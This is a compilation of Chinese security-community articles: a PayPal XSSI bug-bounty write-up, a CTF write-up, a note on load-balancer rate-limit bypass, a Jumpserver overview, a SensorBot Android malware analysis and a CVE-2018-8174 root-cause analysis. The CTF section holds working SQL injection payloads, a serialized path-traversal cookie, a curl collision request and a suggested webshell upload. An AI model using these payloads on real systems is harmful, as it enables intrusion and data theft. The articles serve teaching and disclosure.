2017年初始至今，黑客从盗用正规公司的数字签名制造有“身份证”的木马病毒，以及有组织有预谋地入侵厂商污染软件发布流程，最后甚至使用社会工程学伪装厂商身份冒用数字签名，针对软件数字签名的攻击，无所不用其极，拥有良好信誉的软件厂商和众多软件用户已经成为黑客的主要攻击目标。软件开发商的数字签名属于软件自身的“身份证”，软件身份被恶意利用，会对公司的商业信誉带来恶劣影响，同时也破坏了该厂商的在软件安全体系的可信身份，使安全厂商和用户都不再信任其软件身份，软件厂商将损失大量的用户。因此，软件厂商有义务保护好自己的数字签名，如果发现数字签名被攻击应及时公告用户处置，并采取有效措施减少用户的损失。此外，网民也应该认识到，数字签名只是识别软件身份的一种方式，软件拥有数字签名并不能代表绝对安全，针对有“身份”的软件仍然需要提高警惕，使用检测机制严格、可靠的安全软件防御恶意攻击。 | 社区文章 |
# $15,300赏金计划之Paypal密码暴露
|
|
##### 译文声明
本文是翻译文章，文章原作者 alex.birsan，文章来源：medium.com
原文地址：<https://medium.com/@alex.birsan/the-bug-that-exposed-your-paypal-password-539fc2896da9>
译文仅供参考，具体内容表达以及含义原文为准。
在寻找安全漏洞时，对未知资产和隐蔽站点的搜集通常最终会让人舍本逐末。
如果您对一个目标进行安全测试，就像第一次对它执行安全评估一样细致，彻底检查所有内容，那么我相信您一定会找到新的东西：尤其是如果要测试的代码已经持续开发了一段时间。
这是一个关于高危漏洞的故事，该漏洞会影响PayPal访问量最大的页面之一：登录表单。（最后被奖励了$15300美金）
## 初步发现
在浏览PayPal的主要身份验证流程时，我注意到一个javascript文件，其中似乎包含了一个CSRF令牌和会话ID的内容：
这立即引起了我的注意，因为在一个有效的javascript文件中提供任何类型的会话数据的话，通常都给攻击者可趁之机。
在所谓的跨站点脚本包含（XSSI）攻击中，恶意网页可以使用HTML `<script>`标签导入跨域脚本，从而使其能够访问文件中包含的任何数据。
果然，我很快就测试确认了该XSSI漏洞，尽管它使用了JavaScript混淆器来随机化每个请求的变量名，但有趣的是，令牌仍被放置在十分容易查找的位置，一下子就被找到了。
然而，水可载舟亦可覆舟，要看该信息如何利用了。我立即着手找出`_csrf`和`_sessionID`的确切含义，以及它们是否可以真正用于实际攻击中。
## 进一步挖掘
我尝试将PayPal平台上已授权请求中的常规CSRF令牌替换为`_csrf`的值，经过无数次的尝试后，我得出的结论是，使用此特定令牌无法进行经典的跨站点请求伪造攻击。同样，`_sessionID`也不行。
接下来，我返回该漏洞脚本，查看该令牌的的实际用途，最后对PayPal用来防止暴力攻击（安全挑战）的一个主要保护机制进行了深入研究。虽然此机制已被广泛使用，但我将重点介绍此登录表单。
这个想法很简单：几次尝试登录失败后，您需要先解决reCAPTCHA挑战，然后才能重试。但是，这个挑战就很有搞头了。
它的机制是这样的：在检测到可能的暴力破解尝试后，下一次身份验证尝试的响应将是一个页面，其中仅包含Google验证码。如果用户通过了验证码测试，会向`/auth/validatecaptcha`发起一个HTTP
POST请求。
在请求主体中又看到了`_csrf`和`_sessionID`熟悉的身影，主体中还有其他两个值，稍后会介绍。
对验证码请求的响应旨在将用户重新引入身份验证流程。为此，它包含一个自我提交的表单，其中包含用户最新登录请求提供的所有数据，
**包括他们的电子邮件和纯文本密码。**
我意识到，通过正确的时序和一些用户交互，只要知道此请求中使用的所有令牌，就足以获取受害者的PayPal凭据。在实际攻击场景中，唯一需要的用户交互就是访问一下攻击者控制的网页。
因此，我回过头来尝试找出缺少的参数。这比预期的容易：
1. `jse`的值完全未经验证。
2. `recaptcha`是Google在解决reCAPTCHA挑战时提供的令牌。它并未绑定到特定的会话中，因此任何有效的令牌都可以被接受（例如，来自自动求解服务的令牌）。
## Exploitation
综上所述，我创建了一个整个过程的POC（除了集成验证码解决方案服务外）。
首先，POC将利用最初的XSSI漏洞来获取一组在受害者会话中有效的令牌。然后，受害人的浏览器发出带有随机凭据的一些身份验证请求，模拟尝试暴力破解，这个过程将触发安全挑战流程。
一旦受害者使用相同的浏览器登录PayPal，缓存的随机凭证将被用户自己的电子邮件和密码替换。最后一步是获取一个新的`reCAPTCHA`令牌，此后，纯文本凭据会通过服务器端的请求被发送到`/auth/validatecaptcha`页面，并显示在页面上。
被马赛克掉的就是用户的电子邮件和明文密码
后来我发现，在某些未经身份验证的结帐页面上也使用了相同的漏洞验证，从而允许使用相同的技术泄漏纯文本信用卡数据。
## 后记
POC以及相关信息已于2019年11月18日提交到PayPal的漏洞赏金计划，18天后HackerOne也通过了验证。
在paypal团队迅速确认并提出一些其他问题之后，我于12月10日获得了15300美元的奖金。奖励金额对应于bug的8.0级（高）CVSS分数，这与我在提交报告时最初建议的分数相同。
## 修复和预防建议
给`/auth/validatecaptcha`页面添加一个额外的CSRF令牌，该令牌无法被跨站点脚本包含泄露。
尽管以上可以正确修复漏洞，但作者认为，按照最古老、最重要的信息安全建议中的一项，在设计系统时就可以避免此类漏洞，那就是：
**永远不要以纯文本形式存储密码。** | 社区文章 |
## 2018web安全测试秋季预选赛Writeup
昨天安恒web安全测试秋季预选赛做的太菜了，发现自己是越来越笨了，
最后三道web一题都没有做出来（break heart)
### 简单的md5
题目链接：<http://114.55.36.69:8004/>
题目描述：`easy MD5 cracking fail`
查看源代码：
easy MD5 cracking <!--$_POST['data1']!=$_POST['data2']-->fail
使用数组绕过即可
flag: flag{401cf19d304e557349fecda18110c138}
### md5
题目链接：<http://114.55.36.69:8006/>
题目描述：`MD5 crackingfail`
从根本上讲，MD5算法是一种摘要算法，它可以从多个字节组成的串中计算出由32个字节构成的“特征串”。对于超过32字节的串来说，
MD5计算得出的值必然是其一个子集，所以必然存在两个（或更多）不同的串能够得出相同MD5值的情况。这种情况就叫做MD5碰撞。
我们需要找到两个字符串不一样，但是MD5值一模一样的字符串
这个时候我们[用MD5碰撞生成器生成](http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip)
套路同上一题一样，先查看源代码
MD5 cracking<!-- if((string)$_POST['data1']!==(string)$_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2']))-->fail
参考一篇国外的文章：
<https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value>
使用curl进行解答本题
curl -v http://114.55.36.69:8006/ -H "Cookie: PHPSESSID=0dvvm795lrkrck7r0t1gbn762n" --data "data1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&data2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"
最后得到`flag:flag{9bd1ee7355b58e53214adb9a37b4cb82}`
#### 我们可以预先备份一些MD5码编码后的值；
**第一条**
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
**第二条**
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
MD5 hash:`008ee33a9d58b51cfeb425b0959121c9`
### 传个flag试试
题目链接：<http://114.55.36.69:8012/>
题目描述：
根据题目的描述使用`HackBar`进行`post`方式的传递
继续按照上面的提示进行
最后得到答案：`flag{858a14671c27804b63e6e96b0acdfdd7}`
### 输入试试
题目链接：<http://114.55.36.69:8003/>
题目描述：
首先：查看一下源代码：
<script>
function check(){
var flag = document.getElementById("flag").value;
var str = "d84d9657e5e5e" || 0;
var str = str + ("ad2ad3fe" && 2);
var str = str + "a2da9494b8" + "ddea4fd4";
var str = str.split("").reverse().join("");
if (str == flag){
alert("恭喜你已经找到flag！");
}
}
</script>
发现有`id="flag"`
直接在控制台中进行操作：
最后得到答案：`4df4aedd8b4949ad2a2e5e5e7569d48d`
### 新闻搜索
题目链接：<http://114.55.36.69:8010/>
题目描述：
顺手点击进去一个：
继续进行测试会发现有关键词，有条数，初步猜测是注入，关键词输入1'发现
查看源代码发现是前端过滤：
function myFunction()
{
var x=document.getElementById("number").value;
var a=document.getElementById("word").value;
var b=a.replace(/[\ |\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\||\\|\[|\]|\{|\}|\;|\:|\"|\'|\,|\<|\.|\>|\/|\?|\·|\！|\（|\）|\￥|\——|\……|\【|\】|\、|\；|\：|\‘|\“|\”|\’|\，|\。|\、|\《|\》|\？|\ ]/g,"");
if(a.length!=b.length)
{
alert("请输入正确字符。");
document.getElementById("number").value = '';
document.getElementById("word").value = '';
}
else if(isNaN(x))
{
alert("请输入数字。");
document.getElementById("number").value = '';
}
于是手动禁掉js代码，并且猜测后端代码是关键词处查询处存在sql注入
经过一系列的尝试，却没有任何回显，换一个思维，毕竟幕测的时间很短，题目还很多(QAQ)，拿到flag是王道，使用手动注入，
像这种的关键词查询，一般都是使用`like%%`的模糊查询,所以需要闭合`%`，构造`payload：1%' AND 1=1 AND '%'='`
由上图回显的信息可以看出注入成功；
这里对like%%进行一些了解，首先我们在本地数据库中输入
mysql> select * from tests where password like '%a%';
+---------+----------+
| usename | password |
+---------+----------+
| admin | password |
| admin | admin|
+---------+----------+
2 rows in set (0.00 sec)
mysql> select * from tests where password like '%as%';
+---------+----------+
| usename | password |
+---------+----------+
| admin | password |
+---------+----------+
1 row in set (0.00 sec)
可以发现`like%$value%`相当于`/.\*$value.\*/`，如果注入的话，我们需要闭合前面的`%'`,而且还有闭合后面的`%'`
了解完`like%%`的注入，接着看题目
#### 得到列
`payload: 1%' order by 3-- ：`返回正常
`payload: 1%' order by 4--：`返回异常
得知表有为3列
#### 找回显点
`payload: 1%' union select 1,2,3--` ：在页面下面出现1,2，3
#### 注入表，列，字段，此处省略过程
直接给出:
`payload: 1%' union select (select group_concat(table_name) from
information_schema.tables where table_schema=database()),(select
group_concat(column_name) from information_schema.columns where
table_schema=database()),flag from admin--`
最后得到flag:`flag{f98505d1d12f50a0bd9463e90876630}`
#### 使用sqlmap进行解答：
`post`输入框注入，可注入参数在`word`上，`sqlmap`跑一下就出来
首先：进行库的查询
其次：对表进行查询
然后：对字段进行查询
最后：对列的内容进行查询
最后得到flag：`flag{f98505d1d12f50a0bd9463e90876630}`
### game
题目链接：<http://114.55.36.69:8011>
题目描述：玩个蛇皮
进入界面是一个贪吃蛇的游戏，果断看js代码逻辑，F12查看源码外面是外部的js脚本，在Source中查看发现
于是猜测这一段颜文字应该会有与flag相关的信息，于是console执行一下
很明显flag是错误的，点击view继续进行查看
最后得到答案：`Flag{660332922504a5f06dd871a7fe78ba9c}`
所以我们可以构造为：a:1:{i:0;s:9:"index.php";}，base64后为YToxOntpOjA7czo5OiJpbmRleC5waHAiO30=，bp重放查看回显
### 新写的小站
题目链接： <http://114.55.36.69:8014>
题目描述：新开发的小站，看看能不能发现问题
点击链接进入就会看到一个网站，注册账号之后就会看到：
修改type（只能传jpg）上传一张图片,然后在picture内查看发现图片中有一串base64，
在bp中查看发现这一串base很长，在请求包的cookie中发现picture值解码发现为php序列化，而且保存的上传文件的文件名
使用burp进行解密
猜测`picture`传入执行文件，然后页面显示文件内容的`base64`。于是显示`index.php`页面，手动构造序列化，在这里我们讲一下一组序列化的组成
举一个栗子：
a:2:{i:0;s:5:"1.jpg";i:1;s:5:"1.php";}
a的意思就是数组array
2说明数组里面有两对值
分别为1.jpg与1.php
i作为下标
s代表为string类型
5表示长度
即
0=>1.jpg
1=>1.php
所以我们可以构造为：`a:1:{i:0;s:9:"index.php";}，base64后为YToxOntpOjA7czo5OiJpbmRleC5waHAiO30=`，`burp`重放查看回显
做到这，有两个思路，一个是上传一句话然后`getshell`，因为路径是爆出来了，仅仅是`type`限制；第二个是直接猜`flag`在哪，读出来。
两种方法都很简单
第一种方法：改`type`为`image/jpg`后，访问`http://114.55.36.69:8014/upload/x.php`，然后传入命令`find
/ -name flag***`。
第二种方法：是测试发现，`flag`在`../../flag.php`下，
然后构造`a:1:{i:0;s:14:"../../flag.php";}=>YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30=`，请求
#### request
GET /index.php/picture HTTP/1.1
Host: 114.55.36.69:8014
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://114.55.36.69:8014/index.php/picture
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Picture=YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30=; PHPSESSID=1vm2g30rlcqosqsj9ici1rdku1; session=eyJsb2dpbiI6dHJ1ZSwidXNlcm5hbWUiOiJYWEgifQ.DreFfA.iwKT84kXV5efjz90397IoKUYiik
# response(part)
<img src="data:image/jpg;base64,PD9waHAKCiRmbGFnID0gImZsYWd7TjRtZV9zUGFjNF9Jc19JbnQzcjNzdDFuZ30iOwplY2hvICJmbGFne1RoaXNfMVNfQV9GNGtlX2YxYUd9IjsK">
# base64解密
<?php
$flag = "flag{N4me_sPac4_Is_Int3r3st1ng}";
echo "flag{This_1S_A_F4ke_f1aG}";
最后得到flag:`flag{This_1S_A_F4ke_f1aG}`
唉！！实力有限，只能做出这么几道，至于排名感觉进不去下一场比赛啊。
感谢我的好友对我的帮助，谢谢他们的指导（thx) | 社区文章 |
Author：bit4@[勾陈安全实验室](http://www.polaris-lab.com/)
## 前言
在一次对线上业务的测试中，遇到过一个奇怪的问题，经排查和LVS以及后台应用服务的同步有关，现在分享如下；并对web架构的基础知识和个人经验认为可能存在的问题做简单的总结。
## 现象
1. 爆破接口本来是做了防护的，即当某IP的请次数超过一定的阀值后返回403（正常请求返回的是200），但是大量的多线程请求中出现了某些请求仍然正常的情况。如图：
1. 在某次对另一个业务的测试中，也发现了类似的问题。某登录接口，多次尝试后开始要求图形验证码确认，但当用户多次点击按钮请求，图形验证码要求却消失了。
## 原因
经过运维的排查，发现根本原因是后端多台服务器配置不一致导致的，比如有三台服务器的代码是最新的，有防护策略，而有一台服务器的代码没有得到更新，没有防护策略，当多次请求的时候，LVS将流量指向了没有启用防护策略的服务器，响应包也就没有要求图形验证或响应正常，从而导致了多个请求中存在了无需验证的数据包。
## 测试方法和利用
多线程、高并发请求；这些大量异常包中的正常请求也是有可能被利用的，比如，如果LVS是轮询算法，即每N次就有一次可利用的请求。
## 总结
现在的web应用早已不是单台服务器的时代了，往往都有一个庞大的web架构来支撑一个应用。个人学习了一下相关基础知识，并根据经验罗列了一下这些架构中可能存在的问题。
习惯了通过思维导图来记录知识，高清大图请点击或者右键查看：
Xmind源文件请访问[Github](https://github.com/bit4woo/sharexmind/blob/master/Web%E6%9E%B6%E6%9E%84%E4%B8%AD%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98.xmind)获取。 | 社区文章 |
github地址：<https://github.com/jumpserver/jumpserver>
版本号变更 2.0 -> 0.2版本 3.0 -> 0.3版本
# 欢迎使用Jumpserver Jumpserver
是一款由python编写开源的跳板机(堡垒机)系统，实现了跳板机应有的功能。基于ssh协议来管理，客户端无需安装agent。 支持常见系统:
CentOS, RedHat, Fedora, Amazon Linux
Debian
SUSE, Ubuntu
FreeBSD
其他ssh协议硬件设备
### 截图：
首页
WebTerminal:
Web批量执行命令
录像回放
跳转和批量命令
命令统计
文档
[访问wiki](http://https://github.com/jumpserver/jumpserver/wiki)
[概览](https://github.com/jumpserver/jumpserver/wiki/%E6%A6%82%E8%A7%88)
[名词解释](https://github.com/jumpserver/jumpserver/wiki/%E5%90%8D%E8%AF%8D%E8%A7%A3%E9%87%8A)
[常见问题](https://github.com/jumpserver/jumpserver/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98)
安装基于：[RedHat
的系统](https://github.com/jumpserver/jumpserver/wiki/%E5%9F%BA%E4%BA%8E-RedHat-%E7%9A%84%E7%B3%BB%E7%BB%9F)，[Debian
的系统](https://github.com/jumpserver/jumpserver/wiki/%E5%9F%BA%E4%BA%8E-Debian-%E7%9A%84%E7%B3%BB%E7%BB%9F)
[快速开始](https://github.com/jumpserver/jumpserver/wiki/%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B)
[安装图解](https://github.com/jumpserver/jumpserver/wiki/%E5%AE%89%E8%A3%85%E5%9B%BE%E8%A7%A3)
[应用图解](https://github.com/jumpserver/jumpserver/wiki/%E5%AE%89%E8%A3%85%E5%9B%BE%E8%A7%A3)
[特点](https://github.com/jumpserver/jumpserver/wiki/%E5%BA%94%E7%94%A8%E5%9B%BE%E8%A7%A3)
完全开源，GPL授权
Python编写，容易再次开发
实现了跳板机基本功能，认证、授权、审计
集成了Ansible，批量命令等
支持WebTerminal
Bootstrap编写，界面美观
自动收集硬件信息
录像回放
命令搜索
实时监控
批量上传下载
其它
Jumpserver官网
论坛
demo站点
交流群: 552054376
团队
一个人的“安全部”不容易，善待开源！ | 社区文章 |
# SensorBot：利益驱动下的病毒营销
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 近日，360烽火实验室的异常数据检测系统捕获到一类名为“SensorService”的应用存在异常行为。分析发现其通过某广告SDK传播，安装后无图标，并且伪装成系统服务，利用系统漏洞进行提权，接收云端服务器控制命令进行静默安装推广应用、刷量等恶意操作。这类恶意应用不仅给用户的隐私及财产安全带来了极大风险，而且静默推广的方式严重损害了软件厂商的品牌形象。根据应用名及恶意功能等特点，我们将其命名为SensorBot。
>
>
> 据统计SensorBot最早出现于2016年9月，截至目前感染量已达400多万次。值得注意的是SensorBot每逢节假日，新增感染量便会呈现一个明显的上升趋势。
>
> 在溯源过程中发现SensorBot主要是通过某恶意广告的SDK进行传播，有两家公司涉及其中，分别是上海某网络科技有限公司和北京某上市互联网广告公司。
## 一、节假日现感染峰值
360烽火实验室的异常数据检测系统显示一类名为“SensorService”的应用每日新增感染量均呈现较高水平，且每逢节假日就出现一个小高峰。我们对此类应用进行跟踪分析，发现这类应用数量小且同签名下的均为同类应用。截至目前，SensorBot感染量已超400多万次，而其中一个应用感染量竟高达260多万次。SensorBot应用数量之小，感染量之大，两组数据对比之下我们猜测SensorBot的传播方式可能存在某种寄生关系。
图1 SensorBot每日新增感染量统计
## 二、进阶式云端控制
云端控制方式使病毒作者拥有病毒的完全控制权，相较于传统的云端控制方式类病毒，SensorBot采取了一系列如下图所示的进阶式操作。
图2 进阶式云端控制操作
SensorBot的核心部件是其访问云端服务器下载的云端控制文件，该文件格式为经过加密的gzip格式，如图3。
图3 云端控制文件格式
解密云端控制文件发现其中包含多项控制命令并实现多种功能：
* 设置网络跳板，更加灵活隐蔽的设置服务器地址；
* 多种方式对抗安全软件检测；
* 能够进行远程调试；
* 检测软件运行环境；
* 记录推广内容及渠道信息；
图4 云端控制文件部分命令
云端控制文件在网络配置部分设置了一个跳板URL用以获取最新的C&C地址，间隔一定时间，SensorBot将通过该网址获取最新的C&C地址。下图展示了SensorBot获取最新C&C地址的流程，通过下图中真实网络访问信息可以得到SensorBot的核心部件。
图5 网络跳板图示
## 三、数据作弊病毒营销
SensorBot仿冒系统应用名称及证书名，侵入设备后无图标。其启动过程不需要用户主动干预，通过监听设备开机及设备解锁广播进行自启动，此外，SensorBot还可通过自定义的全局定时器启动自身。SensorBot启动后即刻触发核心服务，此时核心服务会主动访问云端服务器请求并执行云控命令，执行各种恶意操作。具体运行流程如图6所示。
图6 SensorBot运行流程
SensorBot核心功能是通过主包和云端控制文件配合完成的。主包代码结构简单，功能清晰，主要完成各项初始化工作，包括获取设备信息、配置网络访问信息、设置全局定时器、初始化多个功能方法类（见图6）、以及获取云控命令文件并解释执行云控命令。云端控制文件影响恶意行为的发生，它是SensorBot的核心部件，主包根据此文件执行具体操作，最终达成核心恶意功能：静默推广和刷量。
图7 方法类举例
### （一） 静默推广
SensorBot首先会获取到云端下发的推广信息及具体应用的下载链接，完成应用下载之后进行检测并停止安全软件的操作，随后静默安装并启动推广应用。
图8 静默安装并启动推广应用
我们发现SensorBot推广特点，首次推广后还会在后面连续的几天里再次启动推广应用（见图8），经过调查发现出现这种行为与推广平台规则有关。图9为某推广平台的应用推广价目表及规则，而SensorBot再次启动推广应用的操作恰好契合了图中的付费规则。并且SensorBot会在系统目录中创建文件来记录已推广应用的信息，以避免重复推广，同时确保推广的稳定和持续性。
图9 某推广平台的应用推广价目表及规则
### （二）刷量
SensorBot另一个恶意行为能够刷视频播放量，通过滥用Intent启动其他应用进行刷量。在后台利用Intent将指定的分享链接使用指定的应用打开，进行广告推广以及刷量操作；并且使用这种方式打开应用的效果和用户主动使用分享链接打开应用是一样的。下图展示了SensorBot刷某视频播放量的过程。
图10 刷播放量
## 一、传播与溯源
经过关联分析我们发现SensorBot以子包形态出现在某恶意广告SDK中，该恶意SDK被重打包进游戏类及工具类应用中，这些应用通过应用市场或下载站大量传播，用户只要使用了包含该广告SDK的应用就有可能被攻击。结合用户的用机习惯，则不难解释SensorBot每逢节假日所出现的峰值现象了，同时也佐证了我们在前文中对SensorBot应用数量及感染量数据悬殊的猜测。
### （一） 传播
下图为使用该恶意广告SDK应用的运行流程，大致可分为四个步骤：重打包、恶意广告推广、ROOT设备以及SensorBot静默推广。
图11 传播过程
### （二） 溯源
通过对恶意广告应用涉及的网络访问路径进行溯源跟踪，我们发现幕后黑手分别指向上海星*岛科技有限公司和动*通（北京）科技有限公司。
图12 溯源
## 二、事件思考
手机不再只是一个单纯的工具，它已变成了人的一个新型器官，其重要性可想而知；此时，手机的安全问题不可避免的成为了人们必须面对与关心的大问题。与手机安全相关的各方人员又应该如何对待其安全问题呢？面对SensorBot：
* 软件厂商（广告主）
建议软件厂商选择正规的广告平台投放广告，通过正规渠道进行软件推广以获取有效推广，提高软件市场占有率的同时为用户提供更多优秀的移动应用程序。
* 广告联盟网站
广告联盟网站为广告主及站长提供服务，赚取广告差价；若此类非正规推广行为不加管理，势必影响广告联盟网站的收益及口碑。
* 个人用户
建议用户从360手机助手、应用软件官网等可信的软件源下载软件，安装安全软件并及时升级病毒库，及时更新手机系统至最新版本。 | 社区文章 |
# CVE-2018-8174：IE最新漏洞分析
##### 译文声明
本文是翻译文章，文章来源：https://securelist.com
原文地址：<https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
2018年4月下旬，我们利用沙箱环境发现了Internet
Explorer（IE）的一个最新0day漏洞，而这距离IE漏洞上一次在野外被利用（CVE-2016-0189）已经过去了2年时间。这个漏洞以及相关利用技术在某些方面较为有趣，本文详细分析了这个漏洞（CVE-2018-8174）的根本原因。
## 二、捕获0day漏洞
故事开始于2018年4月18日，当时有人往VirusTotal（VT）上传了一个有趣的漏洞利用程序。包括卡巴斯基在内的多个AV厂商成功检测到了这个利用程序，我们将该程序标记为针对老版本Microsoft
Word漏洞的通用启发式逻辑类别。
图1. Virustotal上对CVE-2018-8174的扫描结果
使用我们的[沙箱系统](https://www.kaspersky.com/enterprise-security/wiki-section/products/sandbox)处理这款恶意样本后，我们注意到即便打上完整补丁的Microsoft
Word也会被成功利用。根据这个信息，我们开始深入分析这个利用程序。我们先来看一下完整的感染链：
图2. 感染链
这条感染链包含如下几个环节：
1、受害者收到一个恶意Microsoft Word文档。
2、打开这个恶意文档后，样本会下载第二阶段的利用程序，即包含VBScript代码的HTML页面。
3、VBScript代码会触发UAF（Use After Free，释放后重用）漏洞并执行shellcode。
## 三、初步分析
我们针对RTF（Rich Text
Format）文档开始研究，攻击者利用该文档来投递针对IE的利用程序。该文档只包含一个对象，其内容经过混淆处理，这是一种已知的混淆技术，我们称之为“[nibble
drop](https://securelist.com/disappearing-bytes/84017/)（半字节）”混淆技术。
图3. RTF文档中经过混淆处理的对象
去除混淆并解密16进制数据后，我们发现这是一个OLE对象，其中包含一个[URL
Moniker](https://msdn.microsoft.com/ru-ru/en-en/library/windows/desktop/ms688580\(v=vs.85).aspx)
CLSID。因此，漏洞利用程序最开始的处理方式与之前的一个漏洞（[CVE-2017-0199](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199)）类似，该漏洞用到了Microsoft HTA处理程序。
图4&5\. 使用URL Moniker来加载IE漏洞利用载荷
在CVE-2017-0199漏洞中，Word会尝试根据文件的属性，使用默认的文件处理程序来执行文件，比如服务器响应报文中的`Content-Type`
HTTP头部字段就是其中一个属性。由于`application/hta`这个`Content-Type`所对应的默认处理程序为`mshta.exe`，因此Word会选择其作为OLE服务器，不受限制地运行脚本。这样攻击者就可以直接调用`ShellExecute`，启动所选择的攻击载荷。
然而，如果我们检查最新利用程序中嵌入的URL时，我们发现服务器响应中的`Content-Type`并非`application/hta`（CVE-2017-0199漏洞需要满足这个条件），而是`text/html`。与`text/html`对应的默认OLE服务器为`mshtml.dll`，这是包含IE后端引擎的一个程序库。
图6. WINWORD.exe查询注册表确定正确的OLE服务器
此外，该页面包含一个VBScript，加载该脚本时会使用一个安全模式标志（默认值`0xE`）。这样一来攻击者无法直接执行攻击载荷，这与HTA处理程序的情况一样，需要使用一个IE漏洞才能突破这个限制。
微软在针对Moniker相关漏洞（CVE-2017-0199、CVE-2017-8570以及CVE-2017-8759）的补丁中引入了激活过滤器，利用该过滤器，应用程序可以限制在运行时实例化的COM对象，因此攻击者有可能可以使用URL
moniker来加载远程web页面。
图7. 被过滤的某些COM对象，限制使用MSO.dll中的IActivationFilter来创建这些对象
在分析样本时，过滤后的CLSID列表包含16个表项。MSHTML
CLSID（{{25336920-03F9-11CF-8FD0-00AA00686F13}}）不在该列表中，因此攻击者可以在Word上下文环境中成功创建MSHTML
COM服务器。
现在起事情开始变得有趣起来。尽管Word文档是攻击者使用的最初攻击媒介，但漏洞实际上位于VBScript中，而非Microsoft
Word中。这是我们第一次看到有攻击者使用URL
Moniker来加载IE漏洞利用载荷，我们相信恶意软件开发者会在未来大量应用这种技术。利用这种技术，攻击者可以使用IE引擎加载并渲染web页面，即便受害者主机上的默认浏览器并非IE浏览器。
下载的HTML页面中的VBScript包含一些函数名及整数值，这些信息都经过混淆处理。
图8. 经过混淆处理的IE漏洞利用载荷
## 四、漏洞原理分析
为了分析漏洞原理，我们只需查看去混淆后脚本中的第一个函数（即`TriggerVuln`），程序在调用`RandomizeValues`以及`CookieCheck`函数后就会调用该函数。
图9&图10. 去混淆脚本中的漏洞触发过程
为了获得所需的堆布局，确保已被释放的类对象内存会被`ClassToReuse`对象再次复用，漏洞利用程序会分配一些类对象。触发漏洞的代码可以精简为如下PoC代码：
图11. CVE-2018-8174漏洞PoC代码
当我们使用启用了页堆的IE浏览器运行这个PoC时，我们可以观察到`OLEAUT32!VariantClear`函数会发生崩溃：
图12. 调用被释放的内存时出现访问冲突（Access Violation）异常
图13. 当销毁第二个数组（ArrB）时会复用被释放的内存指针
利用这个PoC代码我们成功触发了一个UAF漏洞，ArrA(1)以及ArrA(2)都会引用内存中的同一个`ClassVuln`对象。这种情况有可能会出现，因为当`Erase
ArrA`被调用时，`vbscript!VbsErase`函数会确定待删除的对象类型为`SafeArray`，然后再调用`OLEAUT32!SafeArrayDestroy`。
然后函数会检查指向[tagSafeArray](https://msdn.microsoft.com/en-us/library/windows/desktop/ms221482\(v=vs.85).aspx)结构的指针不为NULL，同时检查指针的引用计数（存储在`cLocks`字段中）是否为0，然后继续调用`ReleaseResources`。
图14. ArrA(1)的`VARTYPE`为`VT_DISPATCH`，因此会调用`VBScriptClass::Release`来销毁对象
而`ReleaseResources`会检查`fFeatures`这个标志变量，由于我们有一个`VARIANT`数组，因此该函数随后会调用`VariantClear`，`VariantClear`函数会遍历数组中的每个成员，执行必要的去初始化操作，并且根据需要调用相关的类析构函数。在我们分析的这种情况中，由于ArrA(1)的`VARTYPE`为`VT_DISPATCH`，因此程序会调用`VBScriptClass::Release`来正确销毁对象，处理类似`Class_Terminate`之类的析构函数。
图15. CVE-2018-8174的根本原因：在`TerminateClass`函数之前只检查一次`reCount`
这正是这个漏洞的根源所在。在`VBScriptClass::Release`函数内部，程序只在函数开头检查了一次引用计数值。即使该值很有可能会在重载的`TerminateClass`函数中递增（PoC代码中的确这么处理），最终释放类对象前并没有再做任何检查。
[Class_Terminate](https://docs.microsoft.com/en-us/dotnet/visual-basic/programming-guide/language-features/objects-and-classes/object-lifetime-how-objects-are-created-and-destroyed)是一个被弃用的方法，现在已经被`Finalize`过程所取代。在对象销毁过程中，程序会使用该函数来释放已获取的资源，一旦对象被设置为空并且该对象没有其他引用时就会立即执行该函数。在我们的例子中，`Class_Terminate`被代码重载，当调用`VBScriptClass::TerminateClass`时，会转到对应的重载方法。在重载方法内部又创建了ArrA(1)成员的另一个引用。此时ArrB(1)引用了ArrA(1)，其中包含一个即将被释放的`ClassVuln`对象。
